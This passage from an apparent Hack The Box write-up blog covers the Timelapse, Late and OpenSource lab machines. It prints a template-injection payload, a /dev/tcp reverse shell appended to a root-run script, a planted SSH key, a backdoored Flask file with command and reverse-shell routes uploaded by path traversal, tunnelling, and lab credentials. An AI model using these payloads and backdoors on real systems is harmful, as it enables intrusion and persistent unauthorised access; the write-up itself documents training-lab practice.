We can then log in to the box as the Administrator via Win-RM. Once there we can navigate to the TRX user’s desktop and grab the root flag and complete the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'Administrator' -p 'AGF7R+z)1;x0S6Q$)OK853$6'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2021 11:27 AM Administrator
d----- 10/25/2021 8:22 AM legacyy
d-r--- 10/23/2021 11:27 AM Public
d----- 10/25/2021 12:23 PM svc_deploy
d----- 2/23/2022 5:45 PM TR
*Evil-WinRM* PS C:\Users> cd TRX
*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/17/2023 7:59 AM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
fa7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e62

Timelapse Review

This was a really fun box, I’m starting to work things out for myself but that isn’t to say I didn’t head over to the Wizards youtube channel from time to time. The biggest problem I faced with this box is that my tools were broken. PFX to John didn’t work properly, Bloodhound didn’t work properly. I think I’m going to switch back to Kali for the moment as it has all the tools installed and ready to go. Honestly, I can’t be bothered to keep falling down the google rabbit hole of trying to fix tools while doing boxes. This was a great box though, I didn’t know what LAPS was before doing this box and now I do.

Hack The Box – Late

Hello world, welcome to haxez. It’s time for another Hack The Box machine write up and this time we’re looking at Late. This machine has an interesting foothold which I’m looking forward to doing. I haven’t read up too much about it but let us give it a go.

Late Enumeration

As you can see from the Nmap results below, we have port 22 for SSH and port 80 for HTTP open. SSH is unlikely to be the foothold as we have port 80 looking at us. From the banners, we can see that it’s using Nginx and that the title of the application is Best online image tools.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late]
└──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.227.134 -oA late
[sudo] password for haxez:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 07:54 GMT
Nmap scan report for 10.129.227.134
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA)
| 256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA)
|_ 256 28394698171e461a1ea1ab3b9a577048 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 11.84 ms 10.10.14.1
2 13.02 ms 10.129.227.134
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.80 seconds

The Application

As you can see from the screenshot below, the application was basic and didn’t have much to interact with. However, there was a link on the page to the “late free online photo editor”.

Late web application

Clicking this link redirects you to ‘http://images.late.htb’ which doesn’t load because it isn’t in our host file. So, we need to add this to our host file so that the DNS resolves correctly. Then, we will be able to see the application.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late]
└──╼ [★]$ echo '10.129.227.134 images.late.htb' | sudo tee -a /etc/hosts
10.129.227.134 images.late.htb

The application now loads and appears to provide an image-converting tool. More specifically, it seems to be an OCR tool in that it converts images of text to text. OCR, or Optical Character Recognition, is a technology that enables the conversion of scanned images into digital text. OCR software works by analyzing the shapes and patterns of characters and converting them into machine-readable text. One additional note, the application proudly claims it is using Flask.

Late upload feature
Late upload

Late Foodhold

Since the application is using Flask, it is likely using templates to build the application. Wouldn’t it be extremely cool if we could submit an image of a Server Side Template Injection (SSTI). Then when the application converts the image to text, it executes the code and gives us remote code execution. Using notepad and a screenshot tool we can create images and upload them to test this proof of concept. The image below is the image I used.

I saved the file but Windows gave it a ‘.PNG’ extension and the application doesn’t like it. I used my terminal to move it to a new file with a ‘.png’ extension. As you can see below, the application processes it and produces a text file with the answer to the sum.

Late upload 1

Time to try something a bit more complicated, let’s see if we can return the values of the ID command. First, we create and export the image containing the payload which I stole from HackTricks. Unfortunately, it seems that a lot of fonts make double underscores look like one line. This could cause problems with the character recognition software.

{
self._TemplateReference__context.namespace.__init__.__globals__.os.popen("id").read()
}}

Imagine If This Worked

I have been doing this for what seems like an eternity, ok not quite. However, this really is a tedious process. It doesn’t teach me anything, it is just trial and error and I don’t really like this type of challenge. I tried using the script in the official walkthrough but that didn’t work. I have gone through multiple payloads as you can see below.

c
Late payload 2
Late payload 3
Late payload 4
Late payload 5
payload
Payload
Payload
Payload
Payload

The problem seems to be with it messing up a single character. For example, a lot of the time it would miss an underscore where the text made two look like one line. You can see from the one below that it is changing the tick to a single speech mark. This one is frustrating.

Late payload

This results in me getting errors and more errors.

Time to head over to Youtube and see how the Wizard solved it.

Standing On The Shoulders Of Giants

I’d eventually had enough and snipped the payload from IppSec’s video. It looked exactly the same as mine. I even did it in Comic Sans but I still couldn’t get it to work. I will put them below and you can decide what the difference is. You can tell which one is from IppSec’s video because it still has the purple clip from Flame Shot.

more payloads
more payloads

I have to be honest, if the margin for error is so small that two almost identical images get processed differently then I have to say that this is a bit stupid. Rant over. It finally worked and I was able to get ID. However, since it would only process the one from the Youtube video, I have a feeling I’m going to struggle when it comes to getting a shell.

Image to text

Better Late Than Never

Before I continue, please take a look at the screenshot below. That is how many times I had to modify the payload before I was able to get it to work. It may not seem like a lot but when you’re tinkering with each one and getting errors it becomes incredibly frustrating. This wasn’t fun, the concept was fun but the execution was terrible. It should have had a larger margin for error. Even when my code was right, it didn’t work.

All the payloads

I finally got a payload to work based on the same principle that the wizard used on his youtube video. I set up a python web server and created an index file. The index file contained a bash command which just sent a reverse shell back to my host. The picture payload when processed would use curl to get the file and execute it with bash. I think this is the exact image I used in the end, the font type was Bahnschrift Light. Whether or not you get your reverse shell is pure luck… and it really shouldn’t be.

When the image was processed by the server it sent a get request to my file on my webserver which you can see in the output below. It took a few attempts.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Late]
└──╼ [★]$ sudo python3 -m http.server 80
[sudo] password for haxez:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.126 - - [16/Mar/2023 19:35:44] "GET / HTTP/1.1" 200 -
10.10.14.126 - - [16/Mar/2023 19:35:44] code 404, message File not found
10.10.14.126 - - [16/Mar/2023 19:35:44] "GET /favicon.ico HTTP/1.1" 404 -
10.129.243.130 - - [16/Mar/2023 20:00:03] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:00:51] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:03:41] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:04:45] "GET / HTTP/1.1" 200 -

Then finally my shell came through and I was able to capture the user flag.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Late]
sudo nc -lvnp 9001
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$ stty rows 43 cols 190
svc_acc@late:~/app$ ls /home
svc_acc
svc_acc@late:~/app$ cat /home/svc_acc/user.txt
592▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓b3f

Late Privilege Escalation

As you can imagine, the first thing I did after getting my shell was to upgrade it. The next thing I did was throw an SSH key into the user’s authorized key file to make sure I could get back on the box. There was no way in hell I was going to go through the process of getting a foothold again. Absolutely ridiculous.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/haxez/.ssh/id_rsa): /home/haxez/sshkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/haxez/sshkey
Your public key has been saved in /home/haxez/sshkey.pub
The key fingerprint is:
SHA256:AMh1NoU5ILMkOIyR8waY6+WmGLt90qrVzFDXqBwSsG4 haxez@parrot
The key's randomart image is:
+---[RSA 3072]----+
|O*=o+.++. |
|X=o= +++ |
|.*o o +.. |
|o o= + . |
|.E+ o S |
|o. B |
|.o+.+ |
|o+. o |
|ooo+ |
+----[SHA256]-----+

Popping the key into authorized keys.

svc_acc@late:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnMhWDbZa0tLhfR9G5pcq1Y6Rb/aQ+TjCHr4rTkhAVYnC58j/rVLBlA3dzo6UvP4ollJWirCqLuifikKIhAfzTAA659f3D68+FNwPzjvv1jkb11CVioPvShoGKAoBSwmAr1q0KqnLhzfbfI8mMBU4ZGEO7jG1/LkwaMd7KAtJmo/DyUv5N/ISAq14cpnATihzLuVUNiupZ7iitmIxecI4rQjvIz6rCuUVAi6H5suBCeVd/v4BXJW9ZLTX7wa2jYvi5hr/AVVMpKhFBzBKKxK39/mrXVH6ieHD2tzblczVbKGvJuQZRi0onJ8AZfMiCOpI0UdMPCRebEDCDu0cAb03bXVnFAAaPImZx2p54D/Q2bCqMhfTBrNvUpsSgTtNLhBKRymbA6kS9dXD0VUnD5Q4Z73QUeKUyzqHWIAzFOjCwZEU09tc7+/efpWkpBT6iKm6WjuJ4whXlygjaFJxHB/htz0v25eetVDd3xoB/wUww6rnoWajB58fZ8SVgSxTjrAk= haxez@parrot' >> authorized_keys

With access to the box via SSH it was time for enumeration. After performing some searches I discovered a file called ‘ssh-alert.sh’. The permissions of the file suggested we had full ownership of it but for some reason, I was unable to write to it. Well, it turns out that there are other permissions (that I need to read about) that meant I could only append to the file.

Anyway, it turns out that this script is executed whenever someone logs in or out of SSH. It’s also executed by root. So we append a reverse shell to the end of the script and then log out of SSH.

svc_acc@late:~$ ls -l /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Mar 16 20:21 /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ echo "bash -i >& /dev/tcp/10.10.14.126/1337 0>&1" >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ tail /usr/local/sbin/ssh-alert.sh
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
bash -i >& /dev/tcp/10.10.14.126/1337 0>&1
svc_acc@late:~$

We get a shell as root and are finally able to finish the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.243.130] 51220
bash: cannot set terminal process group (2864): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# cat /root/root.txt
cat /root/root.txt
998▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓7ea

Late Review

The concept was awesome, but the execution was terrible. Initially, I had a lot of fun creating image payloads and thought that this was an amazing box for doing something different. 40 images later and the novelty had worn out and I wanted to quit. I didn’t learn anything from it that’s the problem. It was an exercise in persistence. As Einstein once said:

Insanity is doing the same thing over and over and expecting different results.

Albert Einstein

Is this what hacking is supposed to be? brute-forcing something repeatedly until it works? Perhaps I don’t have the patience for this after all. I know it’s not, I’m being cynical. The privilege escalation was good but by the time I got to do it, I was so fed up that I didn’t care.

Hack The Box – OpenSource

Hello world and welcome to haxez, I’m back on my daily hacking spree and this time I’m looking at the easy Hack The Box machine OpenSource. These writeups are not meant to be walkthroughs, they are to document my journey. I may get frustrated, and angry along the way but hopefully, I will root the box and learn something new.

OpenSource Enumeration

To start enumerating the box, we use our tried and tested old faithful tool of Nmap. As you can see from the output below, we have ports 22, 80 and 3000 open. If I didn’t already know that this was a Linux box then the ports would be a giveaway. Please note, I’ve snipped out some of the output in order to keep it looking neat.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ sudo nmap -sC -sV -p- -A 10.129.227.140
[sudo] password for haxez:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 07:18 GMT
Nmap scan report for 10.129.227.140
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e59057ca958c923900f7523823d055f (RSA)
| 256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA)
|_ 256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Wed, 15 Mar 2023 07:19:07 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
3000/tcp filtered ppp
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 11.64 ms 10.10.14.1
2 11.86 ms 10.129.227.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.68 seconds

Whats UpCloud?

Do you like UpCloud? Whats UpCloud? doesn’t quite work. Anyway, the web application appears to be advertising some type of file upload/transfer service. The download button allows us to download what appears to be the source code of the application. The take me there button takes us to a live version of the application.

Opensource Whats UpCloud?

OpenSource Code Analysis

So rather than poke at the application, I’m going to look at the source code. The answers to getting a foothold are likely to be found in the source code. Also, the video I’m watching to assist me is looking at the source code too. We can see that it is using docker.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ tree -R
├── app
│ ├── app
│ │ ├── configuration.py
│ │ ├── __init__.py
│ │ ├── static
│ │ │ ├── css
│ │ │ │ └── style.css
│ │ │ ├── js
│ │ │ │ ├── ie10-viewport-bug-workaround.js
│ │ │ │ └── script.js
│ │ │ └── vendor
│ │ │ ├── bootstrap
│ │ │ │ ├── css
│ │ │ │ │ ├── bootstrap.css
│ │ │ │ │ ├── bootstrap.css.map
│ │ │ │ │ ├── bootstrap-grid.css
│ │ │ │ │ ├── bootstrap-grid.css.map
│ │ │ │ │ ├── bootstrap-grid.min.css
│ │ │ │ │ ├── bootstrap-grid.min.css.map
│ │ │ │ │ ├── bootstrap.min.css
│ │ │ │ │ ├── bootstrap.min.css.map
│ │ │ │ │ ├── bootstrap-reboot.css
│ │ │ │ │ ├── bootstrap-reboot.css.map
│ │ │ │ │ ├── bootstrap-reboot.min.css
│ │ │ │ │ └── bootstrap-reboot.min.css.map
│ │ │ │ └── js
│ │ │ │ ├── bootstrap.bundle.js
│ │ │ │ ├── bootstrap.bundle.js.map
│ │ │ │ ├── bootstrap.bundle.min.js
│ │ │ │ ├── bootstrap.bundle.min.js.map
│ │ │ │ ├── bootstrap.js
│ │ │ │ ├── bootstrap.js.map
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ └── bootstrap.min.js.map
│ │ │ ├── font-awesome
│ │ │ │ └── all.min.css
│ │ │ ├── jquery
│ │ │ │ ├── jquery-3.4.1.js
│ │ │ │ ├── jquery-3.4.1.min.js
│ │ │ │ └── jquery-3.4.1.min.map
│ │ │ └── popper
│ │ │ ├── popper.js
│ │ │ ├── popper.js.flow
│ │ │ ├── popper.js.map
│ │ │ ├── popper.min.js
│ │ │ ├── popper.min.js.map
│ │ │ ├── popper-utils.js
│ │ │ ├── popper-utils.js.map
│ │ │ ├── popper-utils.min.js
│ │ │ └── popper-utils.min.js.map
│ │ ├── templates
│ │ │ ├── index.html
│ │ │ ├── success.html
│ │ │ └── upload.html
│ │ ├── utils.py
│ │ └── views.py
│ ├── INSTALL.md
│ ├── public
│ │ └── uploads
│ └── run.py
├── build-docker.sh
├── config
│ └── supervisord.conf
├── Dockerfile
└── source.zip

A quick look at the Dockerfile suggests the image is Python:3-Alpine. I’ve done a few containers escapes before. I wonder if this is where we’re heading with this. Since docker is running on the host, it makes sense for us to use it to perform the privilege escalation.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ head Dockerfile
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask

Change History

I’m not overly familiar with using git outside of using it to clone repositories. It’s something I need to improve upon especially since you can do cool forensic stuff like we’re about to. Can you do git log on any repository you clone? can you also do git show and git checkout on any repository? That’s great but also terrifying. Think of all the hidden credentials or private keys that are hidden in previous iterations of someone’s code.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial

Let’s take a look at the changes made to the most recent commit. From the output below we can see that a few changes were made including setting the environment to production. I’m not sure if this allowed the Wizard to deduce there was a dev branch, or whether there is always a dev branch. I’m going to assume the latter until I read about it later.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git show 2c67a52253c6fe1f206ad82ba747e43208e8cfd9
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

Let’s get the dev branch and view the change history there. We can see that there have been a number of commits. Perhaps going through these will tell us a story about how the application was built. Maybe, there could even be some hard-coded credentials or something.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git checkout dev
Switched to branch 'dev'
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial

Pathfinding

According to the Wizard, there is a vulnerability in the following line of code. If you place a forward slash in front of a directory, it will cancel out the initial directory. So, the code below should place us in public/uploads. However, as we control the name of the file we can change the directory. I will have to see it in action before I can understand what’s happening. Sounds interesting though.

file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
Opensource git history

Unfortunately, it does seem that there is some input sanitization going on. The screenshot below shows that the application is attempting to capture ‘../’ from the filename. Hopefully, this shouldn’t cause too much of a problem. Perhaps we could double it up to something like ‘….//’ so that it only strips out the first ‘../’. We will see.

Git history 2

OpenSource Exploit Development

Ok, this makes sense to me when watching the video. However, I would have had no idea that this is what you were supposed to do. We take the original views.py file and edit it to add a “command shell” I suppose. Like with PHP and Bash, I imagine this is the Python equivalent and something that I will get used to. We take the original views.py and we add the following section at the bottom.

import os

from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/run/<cmd>')
def run_command(cmd):
import subprocess
return subprocess.check_output(cmd.split(" "))

Then we save the file and upload it via Burp. We can use the weakness in the file upload code (mentioned previously) to change directories and overwrite the existing file. So we save the file as views.py.

More code

And then we use Burp to upload it and change the directory to that of the original file. The original directory was ‘/app/app/views.py which we can obtain from generating a file not found error on the application.

Opensource upload

OpenSource Foothold Proof Of Concept

I thought this was an extremely cool method of getting command execution. However, I wouldn’t have known what to do myself so I have learned a lot. I definitely need to be more confident when reviewing code. It exploits the file upload weakness to upload a malicious file and gives us command execution.

Opensource Upload

As you can see from the image below, we have changed the name of the file to ‘/app/app/views.py’. Now, when the file gets uploaded, it should overwrite the original ‘/app/app/views.py’ with our malicious file. Once it is uploaded, we should have command execution.

Burp

With the file uploaded, we can pass commands to the URL in order to run them. For example, I can run the following ‘whoami’ command by visiting ‘http://<target IP>/run/whoami and shockingly we can see that the application is running as root. However, this is probably going to be ‘root’ inside the docker container. We likely have a long way to go still.

Whoami

OpenSouce Foothold Exploit

We’re now going to add another function to the views.py application. This function is going to be a reverse shell that lets it submit our IP address as an argument. I grabbed a Python payload from PayloadAllTheThings and modified it so that it would work with the existing code. Obviously, I was just copying everything that the Wizard was doing.

@app.route('/revshell/<ip>')
def rev_shell(ip):
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

We can then go back to Repeater in Burpsuite and add our code to the bottom of the request and resend it. If it comes back with a 200 we should be good, if it errors then remove the changes, send the request to update it and try again.

Burp Repeater

Then start a listener on the port you chose (in my case 1337, because of course).

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ sudo nc -lvnp 1337
[sudo] password for haxez:
listening on [any] 1337 ...

Then you visit the application route that you created in your browser and pass it your IP address. Unfortunately, it seems I got a socket error for some reason so I will need to go back and look at the code. Once, I’ve fixed that I will try again.

Error

And I spotted my mistake, In the ‘s.connect((ip,10001))’ section, I still had the ‘ip’ in quotation marks. That makes sense. Ok, we now have a shell. Not a very good shell admittidly.

System Enumeration

This is a cool trick, after connecting to the host we can check the IP address and see that it is on a completely different range than the target. For example, the target IP for OpenSource is 10.129.227.140 but the IP returned in the shell is 172.17.0.8. This is a huge sign that we’re inside a container. We can further confirm this by using netcat to connect to the container host on port 22 via the first IP address in that range (like a default gateway I suppose).

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
24: eth0@if25: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
nc 172.17.0.1 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7

Chiseling Through

Ok, so we’re on the container. We also know from our nmap scan that there was a port 3000. We can use a program called chisel to port forward the hosts port 3000 through our container so that we can access it locally. First, download the chisel program and use a python webserver to get it onto the docker container. Then on your attack box, start a server.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ ./chisel server -p 8001 --reverse
2023/03/15 09:59:54 server: Reverse tunnelling enabled
2023/03/15 09:59:54 server: Fingerprint PIZtzkgEwf3R2bylwQt/I86a2MUk/1eeKGSkL+nHRAU=
2023/03/15 09:59:54 server: Listening on http://0.0.0.0:8001

Then on the target, create a client that connects to your host.

/tmp # ./chisel client 10.10.14.126:8001 R:3000:172.17.0.1:3000
2023/03/15 10:17:32 client: Connecting to ws://10.10.14.126:8001
2023/03/15 10:17:32 client: Connected (Latency 12.057386ms)
172.17.0.1 - - [15/Mar/2023 10:18:03] "GET / HTTP/1.1" 200 -

We now have a new website which we can access by visiting http://localhost:3000. It looks like a git-style version management portal. I’ve never heard of Gitea before but now I’m going to have to go and research it in my own time.

Opensource Gitea

We can also see that the application has a login page. However, we don’t appear to have any credentials for it. Perhaps we can find them in the source code we downloaded earlier.

OpenSource Getting User

Gitea login

I need to speed this up as I’m supposed to be working but let’s break it down quickly. First, we need to change to a different thing by running git checkout.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource]
└──╼ [★]$ git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820

Now we can grab the credentials from the settings.json file found in the hidden .vscode directory. We can use these credentials to login to the application.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/OpenSource/app/.vscode]
└──╼ [★]$ cat settings.json
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
"http.proxyStrictSSL": false
}
Gitea commit history

Attempting to navigate to the backup repository gives us an error. We need to add the URL to our host file.

not found
echo '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts
opensoure backup files

The developer backed up his home directory including his private key. We can steal this, pop it into a text document, give it 600 permissions and use it to SSH to the server. From here we should be able to grab the user flag to. This has been a long path to get to the user, I hope root is fairly straightforward.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ vim dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ chmod 600 dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~]
└──╼ [★]$ ssh -i dev.key [email protected]
The authenticity of host '10.129.227.140 (10.129.227.140)' can't be established.
ECDSA key fingerprint is SHA256:a6VljAI6pLD7/108ls+Bi5y88kWaYI6+V4lTU0KQsQU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.140' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Mar 15 10:36:34 UTC 2023
System load: 0.03 Processes: 217
Usage of /: 75.6% of 3.48GB Users logged in: 0
Memory usage: 22% IP address for eth0: 10.129.227.140
Swap usage: 0% IP address for docker0: 172.17.0.1

16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ cat /home/dev01/user.txt
e67▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓659

OpenSource Privilege Escalation

I downloaded a copy of pspy64 to the directory of my Python3 webserver. Then I used wget on the OpenSource target gox to download the file. I gave it executable permissions and ran it to see what processes were running. The following process stands out ‘/bin/bash /usr/local/bin/git-sync’.

dev01@opensource:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
